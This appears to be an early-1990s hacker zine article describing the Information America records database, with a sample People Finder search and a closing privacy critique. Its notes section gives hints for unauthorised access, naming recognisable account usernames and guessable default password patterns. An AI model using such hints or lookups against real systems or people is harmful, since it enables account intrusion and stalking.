I N F O R M A T I O N A M E R I C A B E G I N N I N G M E N U (Copyright 1991, Information America, Inc.)

CORPORATE, UCC, & RELATED RECORDS 1. Corporate Global (CGL)

2. Corporate & Limited Partnership Records (COR) 3. State & County UCCs, Liens & Judgments (ULJ) 4. State UCC & Lien Filings (UCC)

5. Sleuth (SL) 6. Litigation Prep (LP)

NATIONWIDE SERVICES COUNTY & COURT RECORDS

7. People Finder (PF) 15. County Records (COU) 8. Executive Affiliation (EA) 16. Bankruptcy Records (BNK) 9. Business Finder (BF) 17. Lawsuits (LS)

10. Business News (BN) 18. Real Property Asset Locator (RP) 11. SEC Filings (SEC) 19. Real Prop, Liens & Judgments (RLJ) 12. Duns Business Records Plus (DB)

13. Name Availability/Reservation (NAR) 75. Help Line (HL)

14. Document Ordering eXpress (DOX) 99. Exit the System (OFF)

Enter the menu number or abbreviation of your choice:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Main Menu ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Of the three categories, options under NATIONWIDE SERVICES are the most interesting. Information America is easy to use, completely menu‑driven and features extensive on‑line Help. That having been said, White Knight and I will cover only a few of IA's features and leave exploration of the more obscure ones to the reader.

PEOPLE FINDER

~~~~~~ ~~~~~~

The power of People Finder lies not only in its ability to tap various large store‑houses of data, but in its flexibility of search criteria. (NOTE: People Finder is available Monday through Friday, 7:00 AM to midnight, Eastern Standard time. Holidays are excluded.)

People Finder is made up of four services: SKIP TRACER, TELEPHONE TRACKER, PERSON LOCATOR, and PEOPLE FINDER MULTITRACK.

Depending on the information available, a People Finder profile may include current address, telephone number, residence type, length of residence, gender, date of birth, up to four household members and their dates of birth and a neighbor listing.

SKIP TRACER traces a person's moves or verifies the current address when all you have is an old address. You will enter the person's name, street number, street name, and either the Zip Code or city/state. If your subject is in IA's files, a profile will display that includes the address he moved to (or current address), phone number, length of residence, and more. You may also request a list of 10 of the person's neighbors. A profile on the current resident at your subject's old address and up to 10 neighbors there may also be available. This gives you several contacts to help you find your subject.

TELEPHONE TRACKER tracks down the owner of a telephone number. You must enter the phone number and either the area code or the city/state. If a match is found, you may look at a profile of that individual/residence and a listing of up to 10 neighbors.

PERSON LOCATOR helps you locate a person when specific address information is unavailable. Enter the person's name and indicate whether you wish to conduct a search by city, state(s), zip or nationwide* PERSON LOCATOR will compile a list of names (up to 300 names for nationwide and up to 100 names for individual state searches) that match the information entered. When you find the right name, you may request a profile and neighbor listing for that individual.

PEOPLE FINDER MULTITRACK helps you locate multiple people during one search. Search results are available the following business day. For each of your subjects, enter the name and indicate the geographic area you wish to search ‑nationwide*, multi state, state, city or zip. You may enter up to 25 names per search. Sign off the system and let Information America do the work for you. The following business day, log on to Information America and access the People Finder Menu by entering PF at the Information America Beginning Menu. From the People Finder Menu, you may view the results of People Finder MultiTrack by entering RR (Review People Finder MultiTrack).

REVIEW PEOPLE FINDER MULTITRACK allows you to review the status of each of the searches you requested. You may choose to view the results of each completed search at this time. Search results will be stored for seven days from the day you requested the search. You may review the search results at any time during the seven‑day time period through the Review People Finder MultiTrack option. Search results include a summary listing of names that match the information entered (up to 300 names for nationwide and up to 100 names for individual state searches). From the summary, you may select individual profiles and neighbor listings.

* Nationwide search is not available for specific common surnames. For a list of these surnames, enter #92 View Common Names (VC), from the People Finder Menu.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ People Finder Menu ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

INFORMATION AMERICA NETWORK

P E O P L E F I N D E R (Copyright 1991, Information America, Inc.) Client Billing Code: 123456

1. Person Locator (PL) (Search by name & location) 2. Skip Tracer (ST) (Search by name & last known address) 3. Telephone Tracker (TT) (Search by telephone number) 4. People Finder MultiTrack (PX) (Multiple searches by name & location

with results available next business day)

5. Review People Finder MultiTrack Results (RR)

70. Revise Client Billing Code (BC) 75. Help Screen (?)

92. View Common Names (VC) 95. Description of Service (DES) 99. Go to Beginning Menu (BEG) OFF Exit off the System (OFF)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ People Finder Menu ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If People Finder locates your subject, a profile containing the following information can be displayed:

Name Usually first and last name of head of household. Address Street or route, city, state, and ZIP.

* The following fields will display only if the information is available. *

Phone Number Current phone number, if listed in the phone book. Approx. Birth Date Birth date of the individual listed in the Name field. (May be an approximation.)

Gender (FEMALE, MALE, UNKNOWN) Refers to person in Name field. Length of Residence Number of consecutive years this person has appeared at this address.

Residence Type Number of last names found at this address. (Useful in identifying multi‑family residences.) Can be single, double, triple, quad, 5‑9 units, 10‑19 units, 20‑49 units, 50‑100 units, 100+ units.

Additional Household Names and approximate birth dates of up to 4 Members individuals residing at this address and having the same last name as person listed in Name field. (Usually taken from birth records.)

People Finder: A Sample Search

~~~~~~ ~~~~~~ ~ ~~~~~~ ~~~~~~

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ People Finder Search ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Last Name: public First Name: jane

Enter City or ZIP code.

City: ANYTOWN ZIP Code: 90210

Searching...

INFORMATION AMERICA NETWORK‑‑PEOPLE FINDER

Name Searched: PUBLIC JANE

PERSON LOCATOR

Last Name Summary

No. First Name Street City/State ZIP Phone No.

‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 JANE 27 AVENIDA AVE ANYTOWN CA 90210 213‑727‑8023 * 2 JOHN 69 CALLE DE LOS PUTOS ANYTOWN CA 90211 213‑000‑0000

* PUBLIC JANE has been found as an additional household member.

Searching...

INFORMATION AMERICA NETWORK‑‑PEOPLE FINDER ‑ Detail

Name Searched: PUBLIC JANE

PERSON LOCATOR Resident Profile

Name: JANE PUBLIC Address: 27 AVENIDA AVE

ANYTOWN, CA 90210

Approximate Date of Birth: 10/66

Gender: FEMALE

Length of Residence: 3 YEARS

Residence Type: SINGLE

**** Additional Household Names **** Name Approximate Date of Birth MICHAEL 04/68

Searching...

INFORMATION AMERICA NETWORK‑‑PEOPLE FINDER ‑ Detail

Name Searched: PUBLIC JANE

PERSON LOCATOR

Neighbor Listing

Resident: JANE PUBLIC

Address: 27 AVENIDA AVE

ANYTOWN, CA 90210

Residence

Name Phone# Address Length(yrs)/Type

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WILLIAM PRESTON (818) 727‑8125 12 BOGUS AVE 12 SINGLE THEODORE LOGAN (818) 725‑8643 17 BOGUS AVE 04 DOUBLE KRIS APPLEGATE (818) 685‑2112 19 BOGUS AVE 03 TRIPLE MARTIN MCFLY (818) 727‑0353 26 BOGUS AVE 23 SINGLE STAN CISNEROS (818) 727‑4973 30 BOGUS AVE 16 SINGLE LUCY BYRNE (818) 727‑8765 33 BOGUS AVE 10 SINGLE JONATHAN DEPP (818) 725‑2012 35 BOGUS AVE 06 SINGLE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ People Finder Search ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Notes on People Finder

~~~~~ ~~ ~~~~~~ ~~~~~~

IA is only as accurate as public records reflect. People who move frequently or move from apartment to apartment (students, for instance) are either not likely to be found in IA, or the information IA provides is likely to be out‑dated. In one search we performed, IA concluded that our subject had lived at his residence for 3 years when, in fact, the subject had been living there for over 15 years.

Unlisted telephone numbers are frequently available through IA if, for example, your subject's unlisted number has appeared in a City Directory. Curiously, information seems to be disappearing from IA, in some cases. A year ago, White Knight and I looked up a celebrity's address and telephone number, both of which IA correctly found. When we performed the same search recently, IA failed to find the celebrity in its records. Searches on other individuals which once listed their unlisted telephone numbers now yield "000‑0000". We have no explanation for why this seems to have happened.

Overview of IA's other options

~~~~~~~~ ~~ ~~~ ~~~~~ ~~~~~~~

SLEUTH

======

By creating a list of affiliated names ‑‑ "clues" ‑‑ Sleuth helps you uncover relationships between businesses and individuals. Enter a name and check official records from up to 49 government agencies.

CONTENTS: Over 100 searches* combined in one... from these services:

State UCC/lien filings in: CA,CO,IL,IA,MD,MA,MO,NE,NC,PA,SC,TX Corp/LP records in above states, PLUS: AZ,CT,DE,GA,IN,MI,NV,OK,OR,UT,WI Sales and Use Tax information in: CA, TX

County Assumed/Fictitious Names from: Los Angeles, San Francisco (CA)

Dallas, Harris (TX)

County UCC filings from: Fulton, Cobb, DeKalb, Gwinnett (GA)

Dallas, Harris (TX)

LITIGATION PREP

========== ====

CONTENTS: State Corporate & Limited Partnership Information from: Arizona*, California, Colorado, Connecticut*, Delaware, Florida, Georgia, Illinois*, Indiana, Iowa, Maryland, Massachusetts, Michigan, Missouri, Nebraska, Nevada, North Carolina*, Oklahoma, Oregon, Pennsylvania, South Carolina, Texas, Utah, Washington, and Wisconsin (* indicates Limited Partnership information is not available from these states).

Searches include the following, where available: Business Names, Owner Names, Prior Names, Assumed Names, Fictitious Owner Names, Trade Names, DBA Names, and Merged Out/Consolidated Names

GENERAL DESCRIPTION: Litigation Prep allows you to simultaneously search state corporate and limited partnership information and county‑filed fictitious business and assumed names, to assist you in obtaining the details you need to begin preparing a lawsuit.

HOW THIS SERVICE WILL HELP YOU: Litigation Prep is designed to help litigation professionals when gathering information to file a lawsuit. This service provides the researcher with valuable pieces of information, such as business name, agent name and address, principal address, type and status. Good Standing/Existence Status is also available in the following states:

AZ, CT, DE, GA, IL, IN, IA, MA, MI, MO, NE, NC, OK, OR, PA, SC, TX, UT, WA, and WI.

CONTENTS/SOURCES: Below, you will find the informational contents searched in each state. Inactive records are included for informational purposes. Unless otherwise specified, files are updated weekly.

HOURS: Litigation Prep is available Monday through Friday, from 8:00 AM to 12:00 AM Eastern Time. The FLORIDA component of the service is only available >from 8:30 AM to 7:00 PM Eastern Time, Monday through Friday.

CORPORATE GLOBAL, CORPORATE & LIMITED PARTNERSHIPS

========= ====== ========= = ======= ==

CONTENTS: State Corporate & Limited Partnership Records from:

AZ*, CA, CO, CT*, DE, FL, GA, IL*, IN, IA, MD, MA, MI, MO, NE, NV, NC*, OK, OR, PA, SC, TX, UT, WA, and WI (* indicates Limited Partnership Records are not available from these states).

States included in the Officer/Partner Name search:

CA, CO, FL, GA, IL, IN, IA, MA, MI, MO, NV, OR, PA, TX, and UT.

State Corporate and Limited Partnership Records are available in many key states. A complete listing of states and the information provided by state is available on the following screens. Records are accessible one state at a time or all at once (CORPORATE GLOBAL). When you conduct a CORPORATE GLOBAL name search, an Index screen will list in which states matches have been found. You can either review all matches, or select specific states to view.

From the CORPORATE GLOBAL menu, you have the following search capabilities:

Business Name ‑ Includes all entities available in the online state corporate & limited partnership files.

Officer/Partner Name ‑ Information varies by state, but may include officers, directors, incorporators and partners.

Note: Individual states offer additional options such as a search by Corporate ID (Charter) Number or Registered Agent Name.

SOURCE & UPDATE INFORMATION:

State Corporate & Limited Partnership files are obtained from the official state agency. Records searched vary from state to state. For the exact types searched by state, see the following screens. Inactive records are included for informational purposes. Files are updated weekly unless noted in each specific state description.

In California and Texas, there is a unique search option called BUSINESS LOCATOR.

In California, this option searches the Board of Equalization (BOE), Licensing and Taxation Information which is the official governing source of California Sales and Use Tax permit holders. This information is available only from the California menu and is not included in the Global service. The file is updated monthly.

In Texas, this option searches the Sales & Use Tax Taxpayer Information file, which is comprised of the official record of the Office of the Comptroller of Public Accounts. As in California, this information is available only from the Texas menu and is not included in the Global service. The file is updated by Information America weekly.

STATE & COUNTY UCCs

===== = ====== ====

CONTENTS: State UCC and lien filings from: California*, Colorado*, Florida, Illinois, Iowa*, Maryland, Massachusetts*, Missouri, Nebraska*, North Carolina, Pennsylvania, South Carolina, and Texas*. (* indicates Lien filings available from these states)

County UCC, lien, and judgment filings from: California: Los Angeles and San Francisco counties Georgia: Cobb, DeKalb, Fulton, and Gwinnett counties Texas: Dallas Metroplex and Harris county

GENERAL DESCRIPTION: State & County UCCs, Liens and Judgments allows you to search state UCC and lien filings, plus county UCC, lien and judgment filings.

HOW THIS SERVICE WILL HELP YOU: State & County UCCs, Liens and Judgments may be used by anyone who is looking for information on outstanding UCCs, liens or judgments on an individual or business, as well as assets or financial obligations. For example, litigators, real estate specialists, and merger and acquisition specialists may use this service to assist them in the following ways:

Litigators:

** Obtain financial information on prospective clients

** Help determine the outstanding obligations of the opposing party which could impact the client's ability to seize assets

** Help determine the financial relationships between the opposing party and other entities

** Help determine if the debts and obligations of the opposing party are a possible motive for filing suit

Real Estate Specialists:

** Conduct a cursory look at the beginning of the transaction to help determine the existence of filings which could cloud title ** Help determine if the seller has outstanding tax liens filed against him/her

** Help determine whether any personal property involved with the transaction has a prior security interest

Merger and Acquisition Specialists:

** Help determine financial standing of a firm or a principal of the firm and identify outstanding obligations

** Help determine the financial relationships the firm or principal has with other entities

** Determine personal property owned by the firm or principal that is being used to secure loans

** Conduct a final check before closing to help confirm that no new matters have been filed which could adversely affect the transaction

SEARCH RESULTS: Searches by Name will retrieve matches of the name searched in the following:

From the state UCC and lien files ‑ debtor names

From the county UCC, lien and judgment files ‑

California: grantors

Georgia: grantors, taxpayers, debtors, and defendants Texas: all parties (in Dallas Metroplex); grantors and grantees (from Abstracts of Judgment only), and debtors (in Harris County)

PLEASE NOTE: Searches of debtors in Florida will retrieve only active filings. The option to view Florida's inactive files is offered, at no additional charge, when you select either E (=Exit) or N (=New Search) from the summary screen or last page of a detail report.

HOURS: State & County UCCs, Liens and Judgments is available Monday through Friday, from 8:00 AM to 12:00 AM EST. The FLORIDA component of the service is only available from 8:30 AM to 7:00 PM EST, Monday through Friday.

STATE UCC & LIEN FILINGS

===== === = ==== =======

GENERAL DESCRIPTION: STATE UCC & LIEN FILINGS allows you to simultaneously search UCC and lien filings in all of the states that Information America has on‑line or you may search filings in a specific state.

Our UCC service includes documents filed under the Uniform Commercial Code in the following states:

California Colorado Florida Illinois Iowa Maryland Massachusetts Missouri Nebraska North Carolina Pennsylvania South Carolina Texas

Additionally, the following liens are included: California: Federal and state tax liens, attachment liens and judgment liens. Colorado: Federal tax liens and judgment liens. Iowa: Federal tax liens, Verified liens and Thresherman's liens. Massachusetts: State tax liens and child support liens. Nebraska: Agricultural input liens, consumer liens, and statutory liens.

Texas: Federal tax liens, utility security instruments, and farm filings.

SOURCE: Data is obtained directly from the official state sources: The Secretary of State in California, Colorado, Illinois, Iowa, Massachusetts, Missouri, Nebraska, North Carolina, South Carolina and Texas; the Department of State in both Florida and Pennsylvania; and the Maryland Department of Assessments and Taxation.

SEARCH RESULTS: Unless indicated otherwise, a debtor name search will reveal listings of active and inactive debtors that match the name being searched. A secured party/assignee search will result in a list of matching active and inactive secured parties and assignees. Instrument numbers can be searched only in an individual state.

In FLORIDA, a debtor or secured party search will reveal only active filings. The option to search Florida's inactive files is offered, at no additional charge, at the end of a detail report for an active Florida UCC.

In MASSACHUSETTS, a secured party search will locate secured parties and, if the UCC has been assigned, assignors; it will not locate assignees since they are not included in the database.

HOURS: STATE UCC & LIEN FILINGS is available Monday through Friday, from 8:00 AM to 12:00 AM EST. The FLORIDA component of the service is only available >from 8:30 AM to 7:00 PM EST, Monday through Friday.

COUNTY COURT RECORDS

====== ===== =======

Information America provides online access to local court records from four states.

California ‑ Records are available from Los Angeles, Orange and San Francisco counties. Real Property Asset Locator is available for the entire state.

Georgia ‑ The Atlanta metro area is online. It includes Cobb, DeKalb, Fulton, and Gwinnett counties.

Pennsylvania ‑ Records are available for Philadelphia county.

Texas ‑ Records are available for the Dallas/Fort Worth metro area, which includes Collin, Dallas, Denton, and Tarrant counties. Records are also available for Harris County (Houston).

Records vary from county to county, but may include Abstracts of Judgment, Assumed Names, Civil Suits, County UCCs, General Execution Dockets, Limited Partnerships, Lis Pendens, Probate and Domestic Suits, Real Property Filings, Tax Liens and Trade Name Index. The Court Record menus specify the records available in each county.

LAWSUITS

========

LAWSUITS EFFECTIVE DATE INFORMATION

File Source Begin Through

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

CALIFORNIA

Los Angeles County County Clerk 01‑01‑80 12‑31‑91 Civil (Superior)

Domestic (Superior)

Probate (Superior)

Criminal (Superior) 01‑01‑80 12‑31‑91

Orange County County Clerk 01‑01‑85 12‑13‑91 Civil (Superior)

Family Law (Superior)

San Mateo County County Clerk 01‑01‑84 11‑09‑91 Civil (Superior)

CALIFORNIA

Santa Clara County County Clerk 01‑01‑85 12‑04‑91 Civil (Superior &

Municipal)

Probate (Superior)

Criminal (Superior)

Family Law (Superior)

Contra Costa County County Clerk 01‑02‑80 11‑30‑91 Civil (Superior)

Probate (Superior)

Family Law (Superior)

Wills 01‑02‑90 11‑30‑91

San Diego County County Clerk 06‑18‑74 01‑16‑92 Civil (Superior)

GEORGIA

Cobb Civil (Superior) County Clerk 1982 01‑17‑92 DeKalb Civil (Superior) County Clerk 1981 01‑15‑92 Fulton Civil (Superior) County Clerk 1980 12‑26‑91 Gwinnett Civil (Sup/State) County Clerk 1990 01‑18‑92

ILLINOIS

Cook Civil Law Division Clerk of Circuit Court 01‑01‑75 12‑16‑91 All Districts (Circuit)

Cook Civil Municipal Clerk of Circuit Court 01‑01‑85 12‑16‑91 Division 1st District‑

Chicago‑ (Circuit)

NEW JERSEY*

Civil Law Division Clerk of Superior Court 01‑01‑88 SEE BELOW Atlantic 12‑09‑91 Bergen 11‑19‑91 Burlington 12‑03‑91 Camden 11‑20‑91 Cape May 12‑05‑91 Cumberland 10‑18‑91 Essex 12‑04‑91 Gloucester 12‑09‑91 Hudson 12‑06‑91 Hunterdon 12‑10‑91 Mercer 10‑17‑91 Middlesex 12‑06‑91 Monmouth 11‑08‑91 Morris 12‑05‑91 Ocean 12‑04‑91 Passaic 12‑04‑91 Salem 12‑09‑91 Somerset 11‑22‑91 Sussex 11‑25‑91 Union 12‑02‑91 Warren 12‑02‑91

*New Jersey Superior Court Civil Lawsuit information is collected for Information America. Extreme care is exercised in gathering this information. However, it is not the official legal reporting organ of the New Jersey Superior Court. Information pertaining to civil action arising from automobile accident claims, forfeiture, condemnation and name change litigation is not collected and is not contained in this file.

NEW YORK

New York (Supreme) & Office of Court *** 01‑13‑92 Suffolk County (County) Administration

*** The beginning dates for New York County's Supreme Civil Court and Suffolk County Civil Court cases vary from county to county and are listed below. The "Current Through" date represents the date the Office of Court Administration last compiled the information for Information America.

Bronx 11‑1985 Nassau 02‑1978 Queens 12‑1985 Dutchess 08‑1985 New York 11‑1985 Rockland 09‑1985 Erie 11‑1985 Orange 08‑1985 Suffolk 03‑1983 Kings 11‑1985 Putnam 08‑1985 Westchester 01‑1981

PENNSYLVANIA

Philadelphia Civil Office of Prothonotary 01‑1982 01‑11‑92 (Common Pleas)

TEXAS

Dallas Civil (District) County District Court 01‑01‑70 01‑10‑92

REAL PROPERTY ASSET LOCATOR

==== ======== ===== =======

Real Property Asset Locator integrates information from several sources to help users identify and estimate the value of real assets or identify the owner of a particular piece of property.

The information, which is collected for Information America, is comprised of the tax assessor's official roll in each county. Additional information is obtained from private source databases to enhance tax roll information.

Real Property Asset Locator provides four ways to search.

1. Asset Locator ‑‑ Discover the property owned by an individual or business by entering the name. You may conduct a global, statewide, metro area, county or city (where taxes are assessed at municipal level) search.

2. Ownership Locator ‑‑ Discover the identity of the property owner by entering the address of the property in question.

3. Property of Comparable Value ‑‑ Estimate value of real property based on sales of similar real property in the given geographic area.

4. Assessor's Parcel Number ‑‑ Discover the identity of the property owner by entering the Assessor's Parcel Number of the property in question.

Real Property Asset Locator is available in Arizona, California, Washington DC, Delaware, Florida, Georgia, Illinois, Kansas, Maryland, Massachusetts, Missouri, New Jersey, New York, Pennsylvania, Texas and Virginia.

REAL PROPERTY ASSET TRANSFERS

==== ======== ===== =========

Real Property Asset Transfers integrates information from several sources to help you identify recent real property ownership transfers.

Use Real Property Asset Transfers to help confirm that your party still owns a particular piece of property or has recently acquired new property.

Real Property Asset Transfers provides two ways to search.

1. Asset Transfers‑‑Discover the property acquired or sold by an individual or business by entering the name. You may conduct a statewide, metro area or county search.

2. Ownership Transfers‑‑Discover the identity of the seller and buyer of a particular piece of real property by entering the address of the property in question.

Real Property Asset Transfers information, which is collected for Information America, is derived from deed transfers maintained by county recorders' offices in each county. However, it is not the official legal reporting organ of the county recorders' offices.

Real Property Asset Transfers is available in select counties in Arizona, California, Colorado, District of Columbia, Florida, Georgia, Hawaii, Illinois, Maryland, Massachusetts, Nevada, New Jersey, New York, Ohio, Pennsylvania, Tennessee, Virginia, and Washington.

EXECUTIVE AFFILIATION

========= ===========

CONTENTS: Over 30 million executives nationwide. One search will display companies nationwide where an individual is listed as an executive. Two types of reports may be available: the Executive Profile and the Executive Brief.

The Executive Profile is derived from information gathered by American Business Information, Inc (ABI). ABI compiles business listings from the yellow pages of 5,000 telephone directories. Telephone calls to every business are then conducted to collect the executive name and title.

The Executive Brief is derived from Corporate and Limited Partnership Records filed in the following states: AZ,CA,CO,CT,FL, GA,IL,IN,IA,MD,MA,MI,MO,NE,NV,NC,OK,OR,PA,SC,TX,UT,WA,WI. NOTE: Delaware Records are not included.

Executive Affiliation is invaluable when you need to know the business affiliations of an adverse party. When you enter an executive's name, reports on over 30 million executives nationwide are searched. You will receive a Summary Screen with a concise listing of where your selected individual is listed as an executive. The detail report for each affiliation will be either an Executive Brief or an Executive Profile.

The Executive Profile is derived from yellow page listings of 5,000 telephone directories nationwide. The listings are individually verified to collect the name of the top executive at that location and their title. The information report may include this information in addition to the business address, telephone number, SIC code, and type of business. The titles for which an Executive Profile may be available include: President, Vice President, Chairman of the Board, Owner, Executive Director, Manager, Administrator, Principal, Publisher, Pastor, and Rabbi.

The Executive Brief is derived from Corporate and Limited Partnership Records filed in the following states: AZ, CA, CO, CT, FL, GA, IL, IN, IA, MD, MA, MI, MO, NE, NC, NV, OK, OR, PA, SC, TX, UT, WA, & WI.

(NOTE: Delaware Records are not included. Florida Records are available Monday through Friday, 8:30 a.m. to 7:00 p.m. EST.) The second line in the detail heading will list from which state Corporate/LP Record the information is obtained. The information report may include executive name, title, address, business name and address, as well as other executives' names, titles, and addresses associated with that business. Executive Briefs may be available for Officers, Partners, Agents, and Incorporators.

USE EXECUTIVE AFFILIATION TO:

* Learn about an adverse party's business affiliations as part of background checking.

* Verify names and addresses for pleadings and depositions.

* Uncover an executive's involvement in different businesses throughout the country to determine possible transfer of assets, or other companies to be named in a suit.

* Obtain background information on an executive as a crucial part of performing due diligence.

* Explore possible conflicts of interest by looking for an executive's involvement with other companies.

* Check on the business affiliations of a prospective client.

BUSINESS FINDER

======== ======

SOURCE: American Business Information, Inc.

CONTENTS: Over 14 million U.S. and 1.7 million Canadian business listings compiled from the yellow pages of nearly 5,000 telephone directories. Contains over 9.5 million separate companies and 2 million professionals.

UPDATES: ABI continuously revises the information in the file, and updates the data from available telephone directories within six months after publication of the directory. Information America receives quarterly updates from ABI.

BUSINESS NEWS

======== ====

SOURCE: Comtex Scientific Corporation

CONTENTS: News stories from major national and international newswires, such as UPI, Kyodo, and TASS, press releases, and other various sources.

Stories are available from November 1989.

UPDATES: Twice Daily

Business News allows you to gather articles from major national and international newswires either by name, ticker symbol, industry or topic. Business News industry categories include:

1. Advertising (AD) 19. Electronics (EL) 37. Photography (PO) 2. Aerospace (AE) 20. Entertainment (EN) 38. Plastics (PL) 3. Agriculture (AG) 21. Environmental Srv (ES) 39. Prec Metals (PM) 4. Autos (AU) 22. Financial Srv (FS) 40. Publishing (PB) 5. Aviation (AV) 23. Food (FD) 41. Railroads (RR) 6. Banking (BK) 24. Forestry Prod (FP) 42. Real Estate (RE) 7. Beverages (BV) 25. Freight (FR) 43. Restaurant (RT) 8. Biotechnology (BI) 26. Health Care (HC) 44. Retail (RL) 9. Broadcasting (BR) 27. Industrial Prod (IP) 45. Rubber (RB) 10. Bldg Materials (BM) 28. Insurance (IN) 46. Ship Building (SB) 11. Business Srv (BS) 29. Machinery (MA) 47. Telecommun (TL) 12. Chemicals (CH) 30. Metals (ME) 48. Textiles (TX) 13. Computers (CM) 31. Mining (MI) 49. Tobacco (TB) 14. Construction (CN) 32. Nuclear Energy (NE) 50. Toys (TY) 15. Consumer Prod (CP) 33. Office Equipment (OE) 51. Travel Srv (TR) 16. Defense Contrt (DC) 34. Personal Care (PC) 52. Trucks (TK) 17. Education Srv (ED) 35. Petroleum Prod (PT) 53. Utilities (UT) 18. Electronic Publ (EP) 36. Pharmaceuticals (PH)

BANKRUPTCY RECORDS

========== =======

SOURCE: The Bankruptcy Records are compiled for Information America from the official records at the U.S. Bankruptcy Courts. These records contain all publicly available cases filed in the following states: California, Georgia ‑ Northern District (Atlanta and Gainesville only), New Jersey, Pennsylvania Eastern District, and Texas.

CONTENTS: Bankruptcy records for both individuals and businesses are available. The records include debtor names, case number, location and date of filing, chapter number and more.

UPDATED: Weekly (California, Georgia, Pennsylvania, and Texas) Bi‑weekly (New Jersey)

You may select bankruptcy records by debtor name, social security/FEIN number or by case number.

SEC FILINGS

=== =======

SOURCE: SEC Online, Inc.

CONTENTS: Full text documents filed with the Securities and Exchange Commission by public companies traded on the New York and American Stock Exchanges as well as selected National Market System companies from NASDAQ. The documents available online ‑ 10‑Ks, 10‑Qs, Annual Reports, Proxy Statements, and foreign company 20‑Fs ‑ contain all footnotes and selected exhibits. A Company Profile is also included that summarizes basic corporate information.

EFFECTIVE DATE: Information current from 07‑01‑1987.

UPDATES: Information America receives updates weekly from SEC Online.

Searches may be performed by company name or ticker symbol.

Notes on Information America

~~~~~ ~~ ~~~~~~~~~~~ ~~~~~~~

We mentioned that usernames beginning with "BIDA" are recognizable to the IA system as IA accounts (as opposed to shell accounts). More than likely, other usernames are also valid as IA accounts.

As with most systems, IA passwords are often easy to guess. Initial passwords, which are assigned when an account is first created, are usually composed of the account holder's first name, or first name plus a middle or last initial. In some cases, the password is made up of the digits in the username plus the first name of the account holder. In other cases, the password is two random letters plus a two‑digit number (ex: PG13). If users are ever encouraged to change their password from its initial value, they rarely seem to do so.

You've probably noticed that IA has specific operating times (Eastern Standard Time). Most of IA's functions are inoperable during weekends and holidays and outside those specific operating hours. Occasionally on weekends, IA itself is down. Or more interestingly ‑‑ particularly on weekends ‑‑ the IA interactive environment will malfunction, dropping you into the VAX shell.

IA's clients are mostly lawyers and paralegals working at legal firms, but the FBI is also a major IA client. Television programs in the 60s and 70s which depicted an FBI "Big Brother" computer system scared the public enough so that it and the Congress have continually resisted efforts by the FBI to implement such a system. In the mid 80s, for example, Congress voted against the implementation of an FBI computer system which would allow them to monitor telephone calls. Information America is the perfect solution for the FBI's bureaucratic quandary.

IA has existed for at least two and a half years, but has remained relatively unknown to the Telecom community until last year when MoD began using IA's People Finder to locate and terrorize people. IA's low profile isn't surprising; public backlash against Lotus' "MarketPlace" CD ROM ‑which contained marketing information on only a few million people at most ‑forced Lotus to abandon its project altogether after having invested tens of thousands of dollars in advertising alone, just as it was about to release MarketPlace. What Lotus was doing wasn't unusual; large direct marketing firms, like National Demographics & Lifestyles (NDL) have been somewhat covertly marketing consumer names and information on CD ROM for years (with information such as how many telephones you have; the approximate ages of your household's members; the gender of the household head; the number and type of cars your household has; what the mortgage value on your house is; estimated incomes for the heads of the household, etc...). The difference was that Lotus was offering their CD ROM commercially so that anybody could, as the public claimed, have the power of "Big Brother" at their fingertips. If the public knew about Information America, knew that anyone could tap its eye‑spy capabilities, the outrage would be tremendous.

To market its database services, IA seems to have adopted a grass‑roots kind of approach. IA employs liaisons in major metropolitan cities whose job it is to research and contact prospective clients ‑‑ lawyers, for example. We are unaware of any advertising in specialized journals.

We take for granted the existence of government‑run databases which contain even more detailed information on Americans than IA possesses. Even so, those databases are considerably smaller, and what's more, they're well‑regulated: the agencies that run them accountable by Law. The potential for abuse by a system like Information America ‑‑ devoid of any checks and balances ‑‑ is spectacular. MoD has already demonstrated this to a small extent. The same technology advances which were supposed to make at‑home shopping a convenience and tailor marketing to your needs have now made surveilling you cost‑effective, accurate and as easy as touching a key.

One of the least reported items to come to light out of the Iran/Contra proceedings was that, as head of the Federal Emergency Management Administration (FEMA) ‑‑ the organization which coordinates relief efforts across the United States during natural disasters ‑‑ Oliver North had drawn up FEMA contingency plans of a different sort: in the event of war in Central America, the Constitution was to be suspended and FEMA was to round up aliens (particularly Hispanics) and US Citizens considered "subversive," and interrogate them in Manzanar‑like camps. Databases like Information America would no doubt have been employed in locating the whereabouts of these people.

The importance of Information America isn't what it can do for you; rather, what can be done with it to you.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

White Knight and I can be reached at WKnight@ATDT.ORG and Omega@ATDT.ORG, respectively. Additionally, we may be reached on Demon Roach Underground or Pure Nihilism. We welcome any questions or comments you may have ‑‑ especially any new information you may be able to add. Please do not contact us asking for accounts or passwords.

Beating The Radar Rap Part 1 of 2

_____ BEATING THE RADAR RAP _____

/ / \

( 5/5 ) Part 1 of 2 : "Your Day in Court" ( 5/5 )

\_/___/

by Dispater

_______________________________________

| |

